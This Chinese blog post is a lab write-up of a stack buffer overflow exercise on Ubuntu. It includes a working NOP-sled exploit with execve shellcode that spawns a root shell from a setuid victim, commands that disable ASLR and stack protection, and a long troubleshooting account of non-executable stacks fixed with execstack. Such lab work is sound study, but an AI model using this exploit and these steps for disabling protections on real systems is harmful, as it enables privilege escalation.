Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目:
下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。
1 int main(int argc, char *argv[]) 2 { 3 char little_array[512]; 4 if(argc>1) 5 strcpy(little_array,argv[1]); 6 }
实验步骤:
1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。
cat /proc/sys/kernel/randomize_va_space
2) 利用 find_start 函数可以找出 ESP 的地址。
1 //find_start.c 2 3 #include <stdlib.h> 4 5 #include <string.h> 6 7 unsigned long find_start(void) 8 9 { 10 11 __asm__("movl %esp, %eax"); 12 13 } 14 15 int main() 16 17 { 18 19 printf("0x%x\n",find_start()); 20 21 }
如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。
如果地址不同,则需要禁用ASLR(Address space layout randomization):
sudo sysctl -w kernel.randomize_va_space=0
3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。
4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:
1 #include <stdlib.h> 2 3 #include <stdio.h> 4 5 #include <string.h> 6 7 #define DEFAULT_OFFSET 0 8 9 #define DEFAULT_BUFFER_SIZE 600 10 11 #define NOP 0x90 12 13 char shellcode[] = 14 15 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" 16 17 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" 18 19 "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 20 21 unsigned long get_sp(void) { 22 23 __asm__("movl %esp,%eax"); 24 25 } 26 27 int main(int argc, char *argv[]) 28 29 { 30 31 char *buff, *ptr; 32 33 long *addr_ptr, addr; 34 35 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 36 37 int i; 38 39 if (argc > 1) bsize = atoi(argv[1]); 40 41 if (argc > 2) offset = atoi(argv[2]); 42 43 if (!(buff = malloc(bsize))) { 44 45 printf("Can't allocate memory.\n"); 46 47 exit(0); 48 49 } 50 51 addr = get_sp() - offset; 52 53 printf("Using address: 0x%x\n", addr); 54 55 ptr = buff; 56 57 addr_ptr = (long *) ptr; 58 59 for (i = 0; i < bsize; i+=4) 60 61 *(addr_ptr++) = addr; 62 63 for (i = 0; i < bsize/2; i++) 64 65 buff[i] = NOP; 66 67 ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); 68 69 for (i = 0; i < strlen(shellcode); i++) 70 71 *(ptr++) = shellcode[i]; 72 73 buff[bsize - 1] = '\0'; 74 75 memcpy(buff,"BUF=",4); 76 77 putenv(buff); 78 79 system("/bin/bash"); 80 81 }
5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,
Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。
实验遇到的问题和解决:
1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。
后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。
2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。
3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。
实验分组 |
攻击程序 |
被攻击程序 |
溢出成功?(Y/N) |
1 |
nopattack1 |
victim1 |
N |
2 |
nopattack2 |
victim2 |
Y |
3 |
nopattack1 |
victim2 |
Y |
4 |
nopattack2 |
victim1 |
N |
通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。
4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。
5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。
左边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。拿各程序对比,发现均有这个问题,估计是症结所在。
6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。
readelf -a re>profile_re
readelf -a rootecho>profile_rootecho
将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。
左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。
显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。
7、不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。
8、解决方案:
1)在本地安装execstack
安装命令:sudo apt-get install execstack
2)用execstack修改程序堆栈的可执行属性。
修改命令:execstack -s victim
3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。
实验问题总结:
gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令。
如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。
后记:
其实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。